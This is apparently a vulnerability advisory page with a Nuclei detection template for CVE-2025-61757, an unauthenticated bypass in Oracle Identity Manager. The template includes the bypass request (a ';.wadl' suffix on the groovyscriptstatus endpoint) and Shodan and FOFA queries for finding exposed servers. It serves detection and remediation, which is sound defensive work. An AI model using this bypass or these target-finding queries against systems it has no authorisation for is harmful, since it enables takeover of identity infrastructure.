Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.
PoC代码[已公开]
id: CVE-2025-61757
info:
name: Oracle Identity Manager REST WebServices - Authentication Bypass
author: ritikchaddha
severity: critical
description: |
Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.
impact: |
Allows unauthenticated attacker to fully compromise Oracle Identity Manager via HTTP(S), leading to complete loss of confidentiality, integrity, and availability.
remediation: |
Apply the latest security updates released by Oracle as referenced in the October 2025 Critical Patch Update.
reference:
- https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-61757
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-61757
cwe-id: CWE-306
cpe: cpe:2.3:a:oracle:identity_manager:12.2.1.4.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: oracle
product: identity_manager
shodan-query: title:"oracle access management"
fofa-query: title="oracle access management"
tags: cve,cve2025,oracle,identity-manager,auth-bypass,rce
flow: http(1) && http(2)
http:
- raw:
- |
GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(header, "Oracle")'
condition: and
internal: true
- raw:
- |
POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/plain")'
- 'contains(body, "Script Compilation Successful")'
condition: and
# digest: 4a0a00473045022077d2b3d1eebcd9c6e5b6e0e1866ec3fba8dd3450d2b9b06f0834c0123682e561022100ddfe948096f7d4c5098eda7655d118182489b307177189ef07bcb0d087e13aa6:922c64590222798bb761d5b6d8e72950